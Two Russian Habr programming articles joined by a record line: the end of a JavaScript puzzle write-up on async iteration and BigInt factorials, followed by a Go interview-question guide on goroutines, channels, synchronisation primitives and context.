Как же оно тогда работает на обычном итераторе и генераторе? Да просто неявно, как и многое другое в этом языке. Этот *for-await-of* — хитрый: если объект только *iterable*, то при асинхронной итерации он «конвертирует» объект в *asyncIterable* через оборачивание элементов (при необходимости) в *Promise* с ожиданием резолва. Более подробно рассказал [в статье](http://2ality.com/2017/12/for-await-of-sync-iterables.html) [Axel Rauschmayer](https://twitter.com/rauschma).
Наверно, через *Symbol.asyncIterator* все таки будет правильней, так как мы явно сделали объект *asyncIterable* для нашей асинхронной итерации через *for-await-of*, при этом оставили возможность при необходимости дополнить объект еще и обычным итератором для *for-of*. Если хочется почитать про асинхронные итерации в JavaScript что-то полезное и достаточное в одной статье, то [вот она](https://www.codementor.io/tiagolopesferreira/asynchronous-iterators-in-javascript-jl1yg8la1)!
Асинхронный *for-of* находится еще частично в драфте, но уже поддерживается современными браузерами (кроме Edge) и Node.js от 10.x. Если кого-то это смущает, то всегда можно написать свой небольшой полифил для цепочки промисов, например для *iterable* объекта:
```
const chain = (promises, callback) => new Promise(resolve => function next(it) {
let i = it.next();
i.done ? resolve() : i.value.then(res => {
callback(res);
next(it);
});
}(promises[Symbol.iterator]())
);
;(async function() {
let iter = { /* iterable */ };
await chain(iter, console.log);
console.log('done');
})();
```
Таким и таким способами мы разобрались с поочередной отправкой запросов и обработкой ответов. Но в этой задаче есть еще одна небольшая, но досадная неувязка…
#### Тест на внимательность
Мы так увлеклись всей этой асинхронщиной, что, как это часто бывает, упустили из виду одну маленькую деталь. Те ли запросы отправляет наш скрипт? Посмотрим *network*:
`GET https://www.example.com/0
GET https://www.example.com/1
GET https://www.example.com/2`
Но ведь наши номера — это 1, 2, 3. Как будто бы произошел декремент. Почему так? Просто в исходном коде задачи есть еще одна проблема с итерацией, вот тут:
```
let fs = ['/1', '/2', '/3'];
for (const req in fs) {
yield fetch(req);
}
```
Здесь используется *for-in*, который вместо значений массива обходит его перечислимые свойства: а это — индексы элементов от 0 до 2. Функция *fetch* все равно приводит их к строкам и, несмотря на отсутствие слэша перед (это уже не *path*), успешно резолвит относительно URL текущей страницы. Исправить — гораздо проще, чем заметить. Два варианта:
```
let fs = ['/1', '/2', '/3'];
for (const req of fs) {
yield fetch(req);
}
let fs = ['/1', '/2', '/3'];
for (const req in fs) {
yield fetch(fs[req]);
}
```
В первом мы использовали тот же *for-of* для итерации уже по значениям массива, во втором — обращение к элементу массива по индексу.
#### Мотивация
Мы рассмотрели 3 варианта решения: 1) через *await* в теле *for-of*, 2) через *for-await-of* и 3) через свой полифил (рекурсивная функция, конвейер *pipe*, прочее). Любопытно, что эти варианты поделили участников конференции примерно поровну и явный фаворит не выявился. В крупных проектах для подобных реальных задач обычно используется реактивная библиотека (например [RxJS](https://github.com/ReactiveX/rxjs)), но о современных нативных возможностях языка с асинхронной природой тоже стоит помнить.
Примерно половина участников не заметили ошибки в итерации по списку ресурсов, что тоже — интересное наблюдение. Фокусируясь на нетривиальной, но очевидной проблеме, мы можем легко пропустить такую, казалось бы, мелочь, но с потенциальными серьезными последствиями.
Задача 3 ~ Factor 19th
----------------------
Сколько раз в записи числа 2019! (факториал от 2019) встречается число 19? Вместе с ответом, предоставьте решение на JavaScript.
#### Исследование проблемы
Проблема на поверхности: нам нужна запись очень большого числа, чтобы найти в ней количество всех вхождений подстроки «19». Решая задачу на *number*'ах, мы очень быстро упремся в *Infinity* (после 170) и ничего не получим. Кроме того, формат представления чисел *float64* гарантирует точность лишь 15-17 знаков, а нам надо получить не только полную, но и точную запись числа. Значит, основная сложность — определить структуру для аккумулирования этого большого числа.
#### Большие целые
Если следить за нововведениями языка, то задача решается просто: вместо типа *number* можно использовать новый тип [*BigInt* (stage 3)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt), который позволяет работать с числами произвольной точности. С классической рекурсивной функцией расчета факториала и поиском совпадений через *String.prototype.split* первое решение выглядит так:
```
const fn = n => n > 1n ? n * fn(n - 1n) : 1n;
console.log(fn(2019n).toString().split('19').length - 1); // 50
```
Однако, две тысячи вызовов функции в стеке — уже может [быть опасно](http://2ality.com/2014/04/call-stack-size.html). Даже если привести решение к [хвостовой рекурсии](https://en.wikipedia.org/wiki/Tail_call), то [*Tail call optimization*](http://2ality.com/2015/06/tail-call-optimization.html) до сих пор поддерживает только Safari. Задачу факториала здесь приятнее решить через арифметический цикл или *Array.prototype.reduce*:
```
console.log([...Array(2019)].reduce((p, _, i) => p * BigInt(i + 1), 1n).toString().match(/19/g).length); // 50
```
Может показаться, что это безумно долгая процедура. Но это впечатление — обманчиво. Если прикинуть, то нам всего-то надо провести чуть больше двух тысяч умножений. На i5-4590 3.30GHz в хроме задача решается в среднем за 4-5мс (!).
Еще вариант поиска совпадений в строке с результатом вычисления — это *String.prototype.match* по регулярному выражению с флагом глобального поиска: */19/g*.
#### Большая арифметика
А что, если у нас еще нет этого *BigInt* (и [библиотек](https://github.com/royNiladri/js-big-decimal) тоже)? В этом случае, длинную арифметику можно провернуть самостоятельно. Для решения проблемы нам достаточно реализовать только функцию умножения большого на маленькое (умножаем на числа от 1 до 2019). Большое число и результат умножения можем держать, например, в строке:
```
/**
* @param {string} big
* @param {number} int
* @returns {string}
*/
const mult = (big, int) => {
let res = '', carry = 0;
for (let i = big.length - 1; i >= 0; i -= 1) {
let prod = big[i] * int + carry;
res = prod % 10 + res;
carry = prod / 10 | 0;
}
return (carry || '') + res;
}
console.log([...Array(2019)].reduce((p, _, i) => mult(p, i + 1), '1').match(/19/g).length); // 50
```
Здесь мы просто умножаем столбиком по-разрядно с конца строки в начало, как нас учили в школе. Но решение требует уже порядка 170мс.
Мы можем несколько улучшить алгоритм, обрабатывая больше одной цифры в записи числа за раз. Для этого модифицируем функцию и заодно перейдем на массивы, чтобы не возиться каждый раз со строками:
```
/**
* @param {Array} big
\* @param {number} int
\* @param {number} digits
\* @returns {Array}
\*/
const mult = (big, int, digits = 1) => {
let res = [], carry = 0, div = 10 \*\* digits;
for (let i = big.length - 1; i >= 0 || carry; i -= 1) {
let prod = (i < 0 ? 0 : big[i] \* int) + carry;
res.push(prod % div);
carry = prod / div | 0;
}
return res.reverse();
}
```
Здесь большие числа представлены массивом, каждый элемент которого хранит информацию о *digits* цифрах из записи числа, используя *number*. Например, число 2016201720182019 при *digits* = 3, будет представлено как:
`'2|016|201|720|182|019' => [2,16,201,720,182,19]`
Преобразуя к строке перед джойном, необходимо помнить о ведущих нулях. Функция *factor* возвращает посчитанный факториал строкой, используя функцию *mult* с указанным количеством за раз обрабатываемых цифр в «массивном» представлении числа при вычислении:
```
const factor = (n, digits = 1) =>
[...Array(n)].reduce((p, _, i) => mult(p, i + 1, digits), [1])
.map(String)
.map(el => '0'.repeat(digits - el.length) + el)
.join('')
.replace(/^0+/, '');
console.log(factor(2019, 3).match(/19/g).length); // 50
```
«Коленочная» реализация через массивы оказалась быстрее, чем через строки, и с *digits* = 1 вычисляет ответ уже в среднем за 90мс, *digits* = 3 — за 35мс, *digits* = 6 — всего за 20мс. Однако помним, что увеличивая количество цифр, мы приближаемся к ситуации, когда умножение *number* на *number* «под капотом» может оказаться вне безопасного [*MAX\_SAFE\_INTEGER*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER). Поиграться с этим можно [здесь](https://jsfiddle.net/jd5gc3o2/). Какое максимальное значение *digits* мы можем себе позволить для этой задачи?
Результаты уже вполне показательны, *BigInt* — правда довольно шустрый:
#### Мотивация
Классно, что 2/3 участников конференции использовали в решении новый тип *BigInt* (кто-то признался, что это был первый опыт). Оставшаяся треть решений содержала собственные реализации длинной арифметики на строках или массивах. Большая часть реализованных функций умножала большие числа на большие, когда для решения достаточно было умножать на «маленький» *number* и потратить несколько меньше времени. Ладно задача, а используете ли вы уже *BigInt* в своих проектах?
Благодарности
-------------
Эти два дня конференции были очень насыщены дискуссиями и изучением чего-то нового. Хотелось бы поблагодарить программный коммитет за очередную незабываемую конференцию и всех участников за уникальный нетворкинг и отличное настроение. | https://habr.com/ru/post/453466/ | null | ru | null |
# Собеседование Golang разработчика (теоретические вопросы), Часть II. Что там с конкурентностью?
Привет, Хабр! Это вторая статья цикла, о процессе собеседования Golang разработчика. Первую часть вы можете почитать по [ссылочке](https://habr.com/ru/post/654569/) ниже. Как я писал в предыдущем посте, проходя интервью на позицию Golang разработчика, мне удалось собрать пул вопросов, которыми я хотел бы поделиться с вами. Надеюсь эта информация будет полезна и послужит чек листом при подготовке к интервью.
1. [Собеседование Golang разработчика (теоретические вопросы), Часть I](https://habr.com/ru/post/654569/)
2. [Собеседование Golang разработчика (теоретические вопросы), Часть II. Что там с конкурентностью?](https://habr.com/ru/post/670974/)
### Оглавление
1. [Темы вопросов, рассмотренные в предыдущей части](#themes)
2. [Конкурентность в Golang](#conc)
3. [Каналы в Golang](#channel)
4. [Контексты в Golang](#ctx)
5. [Память в Golang](#mem)
6. [Сборщик мусора в Golang](#garb)
7. [Заключение](#end)
### Темы вопросов, рассмотренные в предыдущей части
В предыдущей части мы рассмотрели вопросы по следующим темам:
* ООП в Golang;
* Области видимости в Golang;
* Операторы в Golang;
* Strings в Golang;
* Int в Golang;
* Const в Golang;
* Array и slice в Golang;
* Map в Golang;
* Интерфейсы в Golang;
* Инструкция defer.
### Конкурентность в Golang
Зачастую начальным вопросом к раскрытию темы конкурентности в Golang является вопрос на общее понимание асинхронности ***"Что такое асинхронность?"***
ОтветВычисления в системе могут идти двумя способами:
* синхронно - это когда код выполняется последовательно;
* асинхронно - это когда операцию мы можем выполнять не дожидаясь результата на месте. Обычно подразумевается, что операция может быть выполнена кем-то на стороне.
***"Что такое параллельность?"***
ОтветВычисления будут являться параллельным только в том случае, если они выполняются одновременно. Как пример можно привести процесс ремонта в доме. У нас есть несколько мастеров-универсалов, каждый из которых выполняет работы на своем объекте под ключ. При этом производительность мастеров не зависит друг от друга, так как их работа не пересекается.
***"Что такое конкурентность?"***
ОтветКонкурентность обеспечивает выполнение нескольких задач посредством переключения контекста. Конкурентные вычисления реализуются на одном ядре системы. Как пример приведем тот же процесс ремонта, но с другими вводными условиями. Теперь мы имеем один объект, на который привлекаем специалистов разного профиля: по демонтажным работам, электрике, подготовке стен и полов, отделке. При этом у нас часто возникают ситуации, когда хозяин уже в процессе подготовки стен, решает, что вот эта стена ему все же не нужна, и на сцену опять выходят демонтажники. Такой процесс организации работ можно назвать конкурентным, так как наши мастера уступают место друг другу, одновременно клеить обои и ломать стены они не могут.
Важным, более общим вопросом, является ***"Что такое thread?"***
Ответ`Thread` - это реализация виртуальных эмуляций физического процессора. Вычисления на разных `thread` условно можно назвать параллельными.
***"Что такое goroutine?"***
ОтветГорутина - реализация в Go корутины, блоков кода, которые работают асинхронно. Она объявляется через оператор `go` перед функцией, вычисления которой необходимо сделать асинхронными. На многоядерной архитектуре выполнение горутин можно осуществлять на разных ядрах процессора. Это сделает эти вычисления параллельными и может сильно ускорить вычисления.
***"Какие основные отличия горутины от thread?"***
ОтветТаблица различий
| | |
| --- | --- |
| **Gorutine** | **Thread** |
| Управляются рантаймом языка | Управляются процессорным ядром |
| Более высокоуровневая абстракция, поэтому не зависит от системы | Зависит от системы |
| Более легковесны | Требуют большего количества ресурсов |
| Асинхронно вытесняющий планировщик | Вытесняющий планировщик |
| Имеет стэк, который может расти | Фиксированный стэк |
***"Каков минимальный и максимальный вес горутин?"***
ОтветНа этот вопрос, ожидается ответ, не сколько весят все вместе взятые поля в структуре `g` объекта горутины. Интервьюера интересуют минимальный и максимальный размер стэка горутины. Минимальный (начальный) размер стэка составляет 2 КБ. Максимальный размер стэка горутины зависит от архитектуры системы и равен 1 ГБ для 64-разрядной архитектуры, 250 МБ для 32-разрядной архитектуры.
```
// The minimum size of stack used by Go code
_StackMin = 2048
```
```
// Max stack size is 1 GB on 64-bit, 250 MB on 32-bit.
// Using decimal instead of binary GB and MB because
// they look nicer in the stack overflow failure message.
if sys.PtrSize == 8 {
maxstacksize = 1000000000
} else {
maxstacksize = 250000000
}
```
***"Что будет если размер горутины превысил допустимый максимум?"***
ОтветЕсли размер стэка горутины превышен (к примеру запустили бесконечную рекурсию), то приложение упадет с `fatal error`.
```
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
```
***"Какое максимальное количество горутин может быть запущено в системе?"***
ОтветКоличество горутин ограничено только оперативной памятью системы.
***"Что такое планировщик go?"***
ОтветУправление горутинами осуществляет Go планировщик. Про тонкости работы планировщика можно рассказывать бесконечно долго, поэтому сосредоточимся на основных моментах. Планировщик go оперирует 3-мя основными сущностями (важно понимать, что все это структуры, не пытайтесь переложить их на физическое восприятие):
* `M` - машина, поток операционной системы, которым она управляет;
* `P` - контекст планирования, необходимый для возможности переброски очередей планирования между потоками (`M`);
* `G` - горутина, прежде всего там содержатся: стек, указатель команд, канал для планирования горутин.
При запуске программы на каждое *виртуальное* ядро процессора создается структура `P`, к которой привязывается отдельный поток `M`. Каждому `P` присваивается локальная очередь выполнения `LRQ` (есть еще глобальная очередь выполнения `GRQ`, этот вопрос я советую изучить самостоятельно). `LRQ` управляет горутинами в контексте `P`, переключением контекста `M.`
***"В равной ли степени горутины делят между собой процессорное время?"***
ОтветСуществует 2 типа многозадачности:
* кооперативная - передачей управления процессы занимаются самостоятельно;
* вытесняющая многозадачность - планировщик дает отработать процессам равное время, после чего перещелкивает контекст.
С версии `Go 1.14` планировщик с кооперативного стал асинхронно вытесняющим. Сделано это было по причине долго отрабатывающих горутин, надолго занимающих процессорное время и не дающих доступа до него другим горутинам. Теперь когда горутина отрабатывает больше 10 м/с Go будет пытаться переключить контекст для выполнения следующей горутины. Казалось бы вот он ответ. Но не все так просто... Части кооперативного поведения до сих пор присутствуют, к примеру перед вытеснением горутины необходимо выполнить проверку куска кода на атомарность, с точки зрения `garbage collector`. Операция вытеснения может настичь горутину в любом месте, в зависимости от состояния данных, сборщик мусора может отработать совсем не так как ожидалось. Так как Go живой язык, в который постоянно вносятся изменения, реализация и тонкости в разных версиях могут отличаться. Настоятельно советую обновлять свои знания по этой теме по мере релизов Go.
***"Какие есть способы остановить все горутины в приложении?"***
ОтветЕсли размышлять глобально, то таких способа 3:
* завершение `main` функции и `main` горутины;
* прослушивание всеми горутинами `channel`, при закрытии `channel` отправляется значение по умолчанию всем слушателям, при получении сигнала все горутины делают `return`;
* завязать все горутины на переданный в них `context`.
***"Как вручную задать количество процессоров***`P` ***для приложения?"***
ОтветЭто позволяет сделать `runtime.GOMAXPROCS()`. Важно понимать, что при выставлении количества логических процессоров больше, чем есть у вас в системе, вы рискуете получить определенные проблемы с производительностью. Чтобы избежать этого можно задать `runtime.GOMAXPROCS(runtime.NumCPU())`, `runtime.NumCPU()` - количество логических процессоров.
***"Как принудительно переключить контекст?"***
ОтветПереключение контекста вручную осуществляется с помощью функции `runtime.Goshed().`
***"Как наладить связь между горутинами?"***
ОтветГорутины общаются друг с другом посредством перегонки необходимых данных по `channel`. Именно о каналах идет речь знаменитом девизе Go: "Не общайтесь, делясь памятью; делитесь памятью, общаясь".
***"Какие есть примитивы синхронизации?"***
ОтветВ используемые примитивы синхронизации можно записать:
* `wait group`;
* `mutex`;
* `atomic`;
* `sync map`;
* `channel`.
***"Что такое wait group?"***
Ответ`sync.WaitGroup` - это реализация счетчика, который можно инкрементировать и декрементировать, и самое главное остановить выполнение куска кода до того момента, пока значение счетчика не будет равно 0.
```
func main() {
wg := sync.WaitGroup{}
wg.Add(1)
go gorutinePrint(&wg)
wg.Wait()
fmt.Println("hello from main")
}
func gorutinePrint(wg *sync.WaitGroup) {
// без использования WaitGroup нет гарантий, что будет выведено
fmt.Println("hello from goroutine")
wg.Done()
}
```
Вывод
```
hello from goroutine
hello from main
```
***"Для чего используются mutex и какие бывают?"***
ОтветПрежде чем ответить на этот вопрос, давайте немного поговорим о гонке данных. Гонка данных - это процесс, который возникает в Go приложении при условии:
* что 2 и более горутины используют одни и те же данные;
* 1 и более горутина используют данные на запись. В этом случае мы получаем ситуацию, когда наши данные могут стать неконсистентными. Во избежание этого необходимо определить правила, ограничивающие одновременную работу с данными. Для этих целей и были введены `mutex`. Их существует 2 вида:
* `sync.Mutex` - блокирует кусок кода как на запись, так и на чтение;
* `sync.RWMutex` - позволяет блокировать кусок кода только на запись.
```
// SafeCounter is safe to use concurrently.
type SafeCounter struct {
mu sync.Mutex
v map[string]int
}
// Inc increments the counter for the given key.
func (c *SafeCounter) Inc(key string) {
c.mu.Lock()
// Lock so only one goroutine at a time can access the map c.v.
c.v[key]++
c.mu.Unlock()
}
// Value returns the current value of the counter for the given key.
func (c *SafeCounter) Value(key string) int {
c.mu.Lock()
// Lock so only one goroutine at a time can access the map c.v.
defer c.mu.Unlock()
return c.v[key]
}
func main() {
c := SafeCounter{v: make(map[string]int)}
for i := 0; i < 1000; i++ {
go c.Inc("somekey")
}
time.Sleep(time.Second)
fmt.Println(c.Value("somekey"))
}
```
Вывод
```
1000
```
***"Для чего используется atomic?"***
Ответ`atomic` - предоставляет набор атомарных функций, реализованных на аппаратном уровне. Это позволяет избегать гонки данных без блокировок. Вместе с этим, с помощью `atomic` в отличие от `mutex` можно делать только простые вещи, к примеру инкрементировать различные счетчики. Немного пояснений про атомарность: функция будет атомарной, если она завершается в один шаг по отношению ко всем другим потокам, которые имеют доступ к обрабатываемой памяти.
```
func main() {
var (
counter uint64
wg sync.WaitGroup
)
for i := 0; i < 10; i++ {
wg.Add(1)
go func() {
for c := 0; c < 1000; c++ {
atomic.AddUint64(&counter, 1)
}
wg.Done()
}()
}
wg.Wait()
fmt.Println("counter:", counter)
}
```
Вывод
```
counter: 10000
```
***"Для чего используется sync map?"***
ОтветПростой ответ на этот вопрос: достаточно частый кейс использования в Go `mutex`, который защищает данные в `map`. `sync.Map` можно рассматривать как `map`+`RWMutex` обертку. Но на деле этот ответ не совсем правильный, так как `sync.Map` решает одну довольно конкретную проблему `cache contention`. Что же это такое? При использовании `sync.RWMutex` в случае блокировки на чтение каждая горутина должна обновить поле `readerCount`, что происходит атомарно. Довольно обще процесс выглядит так:
* ядро процессора обновляет счетчик;
* ядро процессора сбрасывает кэш для этого адреса для всех других ядер;
* ядро процессора объявляет, что только оно знает действующее значение для обрабатываемого адреса;
* следующее ядро процессора вычитывает значение из кэша предыдущего;
* процесс повторяется. Так вот, когда несколько ядер хотят обновить `readerCount`, образуется очередь. И операция, которую мы считали константной, становится линейной относительно количества ядер. Именно решая эту проблему и ввели `sync.Map`. `sync.Map` рекомендуется применять именно на многопроцессорных системах.
```
// Lock locks rw for writing.
// If the lock is already locked for reading or writing,
// Lock blocks until the lock is available.
func (rw *RWMutex) Lock() {
if race.Enabled {
_ = rw.w.state
race.Disable()
}
// First, resolve competition with other writers.
rw.w.Lock()
// Announce to readers there is a pending writer.
r := atomic.AddInt32(&rw.readerCount, -rwmutexMaxReaders) + rwmutexMaxReaders
// Wait for active readers.
if r != 0 && atomic.AddInt32(&rw.readerWait, r) != 0 {
runtime_SemacquireMutex(&rw.writerSem, false, 0)
}
if race.Enabled {
race.Enable()
race.Acquire(unsafe.Pointer(&rw.readerSem))
race.Acquire(unsafe.Pointer(&rw.writerSem))
}
}
```
***"Что такое graceful shutdown?"***
ОтветУ каждого сервера есть потребность в его отключении, обычно это происходит при получении сигнала от ОС. И хорошо бы делать это отключение корректно, останавливая поэтапно все службы. Согласитесь никто из нас не выключает телевизор ударом табурета по корпусу. Так же и с сервером, для корректного отключения которого есть общие подходы. К примеру:
* создать канал, прослушивающий системные сигналы на выход;
* прослушивать этот канал;
* при получении сигнала поэтапно выходить из горутин;
* остановить сервер.
```
interrupter := make(chan os.Signal, 1)
signal.Notify(interrupter, os.Interrupt)
for range interrupter {
appCtx.Done()
break
}
```
### Каналы в Golang
***"Что такое channel?"***
Ответ`channel` - это абстракция Go, которая помогает горутинам общаться друг с другом, передавая по `channel` значения. Канал можно представить как трубу, в которую одни горутины кладут данные, а другие их вычитывают. Под капотом `channel` представляет из себя 3 структуры (`hchan`, `sudog`, `waitq`). Наиболее интересной для нас является `hchan`, основные поля которой:
* `qcount` — количество элементов в буфере;
* `dataqsiz` — размерность буфера;
* `buf` — указатель на буфер для элементов канала;
* `elemsize` - размер элемента в канале;
* `closed` — флаг, указывающий, закрыт канал или нет (1/0 соответственно);
* `elemtype` - тип элемента;
* `recvq` — указатель на связанный список горутин, ожидающих чтения из канала;
* `sendq` - указатель на связанный список горутин, ожидающих запись в канал;
* `lock` — мьютекс для безопасного доступа к каналу. Когда мы создаем канал, мы присваеваем `hchan` `elemtype` и `elemsize` и аллоцируем структуру `hchan` в `Heap`.
```
type hchan struct {
qcount uint // total data in the queue
dataqsiz uint // size of the circular queue
buf unsafe.Pointer // points to an array of dataqsiz elements
elemsize uint16
closed uint32
elemtype *_type // element type
sendx uint // send index
recvx uint // receive index
recvq waitq // list of recv waiters
sendq waitq // list of send waiters
// lock protects all fields in hchan, as well as several
// fields in sudogs blocked on this channel.
//
// Do not change another G's status while holding this lock
// (in particular, do not ready a G), as this can deadlock
// with stack shrinking.
lock mutex
}
```
***"Что такое буферизированный и небуферизированный channel?"***
Ответ`channel` делятся на два типа по наличию/отсутствию буфера. Соответственно в первом случае поле `dataqsiz` будет равно размеру переданного буфера (3), а поле `buf` будет ссылкой на этот буфер. Во втором случае поле `dataqsiz` будет равно 0, а поле `buf` будет nil. Отсюда возникает различное поведение этих типов `channel` при операциях с ними. Об этом мы поговорим ниже.
```
chanBuf := make(chan bool, 3)
chanIsNotBuf := make(chan bool)
```
***"Какие действия можно произвести с каналом?"***
ОтветС `channel` можно сделать 4 действия:
* создать канал;
* записать что-то в канал;
* что-то вычитать из канала;
* закрыть канал.
```
myChan := make(chan int)
myChan <- 1
<- myChan
close(myChan)
```
***"Что будет если писать/читать в nil channel?"***
ОтветКак мы смотрели ранее, канал - это структура, которую надо инициализировать. Если же мы этого не сделали и пишем в nil канал, то произойдет `deadlock`и`fatal error`(при условии всех спящих горутин), так как в исходниках Go идет проверка на nil. Точно такое же поведение будет при чтении из nil канала.
```
func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool {
if c == nil {
if !block {
return false
}
gopark(nil, nil, waitReasonChanSendNilChan, traceEvGoStop, 2)
throw("unreachable")
}
...
}
```
```
func chanrecv(c *hchan, ep unsafe.Pointer, block bool) (selected, received bool) {
// raceenabled: don't need to check ep, as it is always on the stack
// or is new memory allocated by reflect.
if debugChan {
print("chanrecv: chan=", c, "\n")
}
if c == nil {
if !block {
return
}
gopark(nil, nil, waitReasonChanReceiveNilChan, traceEvGoStop, 2)
throw("unreachable")
}
...
}
```
***"Что будет если писать/читать в/из закрытый channel?"***
ОтветЗапись в закрытый канал приведет к панике. Опять же из-за проверки флага в исходниках. При чтении из закрытого канала мы получим совсем другое поведение - значение из буфера, если оно есть, или дефолтное значение типа данных канала если буфер канала пуст. Более подробно это поведение можно посмотреть в функции `chanrecv` рантайма Go.
```
func chansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool {
...
if c.closed != 0 {
unlock(&c.lock)
panic(plainError("send on closed channel"))
}
...
}
```
***"Что будет если писать/читать в/из буферизированный channel?"***
ОтветЗапись в буферизированный канал не является блокирующей операцией до тех пор, пока не заполнится буфер канала. После операция вызовет блокировку. Чтение из буферизированного канала не является блокирующим, если буфер канала не пуст. При пустом буфере канала чтение из него вызовет блокировку. Важный момент, что чтение из буферизированного канала - жадная операция. Если начался процесс чтения данных из канала, то данные будут читаться без блокировки до момента опустошения буфера.
```
func printNum(c chan int) {
for i := 0; i <= 3; i++ {
num := <-c
fmt.Println(num)
}
}
func main() {
// без блокировок
fmt.Println("start")
defer fmt.Println("stop")
c := make(chan int, 3)
go printNum(c)
c <- 1
c <- 2
c <- 3
}
```
Вывод
```
start
stop
```
```
func printNum(c chan int) {
for i := 0; i <= 3; i++ {
num := <-c
fmt.Println(num)
}
}
func main() {
// с блокировкой
fmt.Println("start")
defer fmt.Println("stop")
c := make(chan int, 3)
go printNum(c)
c <- 1
c <- 2
c <- 3
c <- 4 // блокировка
c <- 5
}
```
Вывод
```
start
1
2
3
4
stop
```
***"Что будет если писать/читать в/из небуферизированный channel?"***
ОтветНебуферизированный канал - это тот же буферизированный канал, но с `nil` буфером. Соответственно принцип его работы будет таким же. Чтение из пустого и запись в непустой небуферизированный канал являются блокирующими операциями.
***"Как закрыть channel? Что с ним происходит?"***
ОтветДля закрытия канала предусмотрена функция `close`. Если упрощенно (опускаем блокировки), то при закрытии канала происходят следующие действия:
* проверка, что канал инициализирован и не является `nil` (`panic` - если это не так);
* проверка, что канал не закрыт (`panic` - если это не так);
* поле `closed` `hchan` выставляется в `1` (true);
* отправка всем ожидающим чтения default value типа данных в канале;
* ожидающие записи получают `panic`. Интересный момент, что так как закрытие канала не блокирует чтение канала, то данные из буфера канала можно вычитать и после его закрытия.
```
func closechan(c *hchan) {
if c == nil {
panic(plainError("close of nil channel"))
}
lock(&c.lock)
if c.closed != 0 {
unlock(&c.lock)
panic(plainError("close of closed channel"))
}
...
c.closed = 1
var glist gList
// release all readers
for {
sg := c.recvq.dequeue()
if sg == nil {
break
}
if sg.elem != nil {
typedmemclr(c.elemtype, sg.elem)
sg.elem = nil
}
...
gp := sg.g
gp.param = unsafe.Pointer(sg)
sg.success = false
if raceenabled {
raceacquireg(gp, c.raceaddr())
}
glist.push(gp)
}
// release all writers (they will panic)
for {
sg := c.sendq.dequeue()
if sg == nil {
break
}
sg.elem = nil
if sg.releasetime != 0 {
sg.releasetime = cputicks()
}
gp := sg.g
gp.param = unsafe.Pointer(sg)
sg.success = false
if raceenabled {
raceacquireg(gp, c.raceaddr())
}
glist.push(gp)
}
...
}
```
***"Какие есть инструкции для чтения из channel?"***
ОтветИз канала можно читать значения:
* присваивая их в переменную;
* прослушивая канал с помощью инструкции `for range`;
* прослушивая канал с помощью инструкции `select case`. Также следует обратить внимание, что чтение из закрытого канала отдает дефолтное значение типа данных канала. Поэтому существует возможность проверить, что при чтении получено значение из буфера. Для этого используется синтаксис со второй (`bool`) переменной `val, ok := <- myChan`.
```
func main() {
queue := make(chan string, 2)
queue <- "one"
elem := <-queue
fmt.Println(elem)
}
```
Вывод
```
one
```
```
func main() {
queue := make(chan string, 2)
queue <- "one"
queue <- "two"
close(queue)
for elem := range queue {
fmt.Println(elem)
}
}
```
Вывод
```
one
two
```
```
func main() {
ch1 := make(chan string)
ch2 := make(chan string)
go func() {
ch1 <- "one"
}()
go func() {
ch2 <- "two"
}()
for i := 0; i < 2; i++ {
select {
case msg1 := <-ch1:
fmt.Println("chan1: ", msg1)
case msg2 := <-ch2:
fmt.Println("chan2: ", msg2)
}
}
}
```
Вывод
```
chan2: two
chan1: one
```
***"Как сделать select неблокирующим?"***
ОтветИнструкция `select` в предыдущем примере является блокирующей, так как на каждый виток цикла будет происходить ожидание одного из `case`. Но есть возможность задать поведение для `select` по умолчанию, то есть для случаев, когда не выполняются `case`. Для этого необходимо добавить инструкцию `default`. Таким образом, когда не срабатывает ни один из `case` будет срабатывать кусок кода под инструкцией `default.`
***"Какой порядок исполнения операций case в select?"***
ОтветПервым выполнится тот `case` в `select`, который будет готов. При одновременной отправке данных в каналы, прослушиваемые в `select` порядок операций не гарантирован.
### Контексты в Golang
***"Что такое context?"***
ОтветПо сути `context` - это некий сборник метаданных, который можно привязать к какому-нибудь процессу. К примеру для HTTP вызова можно объявить `context`, записать туда куки и иную информацию о пользователе. По окончанию вызова `context` можно отменить.
***"Для чего применяется context?"***
ОтветУ `context` два основных применения:
* для отмены выполнения либо по таймауту, либо по дедлайну. Тот же пример с HTTP запросами;
* для передачи параметров. Правда злоупотребление этим плохо сказывается на явности кодовой базы. Обязательные параметры передавать через `context` все же не стоит.
***"Чем отличается context.Background от context.TODO?"***
ОтветИ `context.Background()` и `context.TODO()` это одно и то же. Разница лишь в том, что `context.TODO()` выставляется в местах, где пока нет понимания, что необходимо использовать `context.Background()` и возможно его надо заменить на дочерний контекст.
***"Как передавать значения и вычитывать их из context?"***
ОтветВ пакете `context` существует функция `context.WithValue(parent Context, key, val interface{}) Context`, которая от родительского контекста создает производный и добавляет в него по `key` значение. Извлекая значение из `context` необходимо помнить, что на выход получаем интерфейс, который необходимо правильно скастить.
```
func main() {
type favContextKey string
f := func(ctx context.Context, k favContextKey) {
if v := ctx.Value(k); v != nil {
fmt.Println("found value:", v)
return
}
fmt.Println("key not found:", k)
}
k := favContextKey("language")
ctx := context.WithValue(context.Background(), k, "Go")
f(ctx, k)
f(ctx, favContextKey("color"))
}
```
Вывод
```
found value: Go
key not found: color
```
***"Каковы отличия context.WithCancel, context.WithDeadline, context.WithTimeout?"***
Ответ* `context.WithCancel(parent Context) (ctx Context, cancel CancelFunc)` создает контекст производный от родительского, также возвращает функцию отмены, с помощью которой этот контекст можно закрыть. Общепринятой практикой является работать с функцией отмены там, где она получена, не передавая ее глубже.
* `context.WithDeadline(parent Context, d time.Time) (ctx Context, cancel CancelFunc)` создает контекст производный от родительского, также возвращает функцию отмены, с помощью которой этот контекст можно закрыть. Контекст автоматически отменится в переданное, как входной параметр функции, время.
* `context.WithTimeout(parent Context, timeout time.Duration) (ctx Context, cancel CancelFunc)` создает контекст производный от родительского, также возвращает функцию отмены, с помощью которой этот контекст можно закрыть. Контекст автоматически отменится через интервал времени, переданный, как входной параметр функции.
***"Как обрабатывать отмену context?"***
ОтветОтмену контекста можно обрабатывать через канал `<-context.Done()`, который уведомляет об отмене контекста.
```
func main() {
ctx, cancelFunc := context.WithCancel(context.Background())
numChan := make(chan int)
go work(ctx, numChan)
go func() {
for i := 0; i < 5; i++ {
numChan <- i
}
}()
cancelFunc()
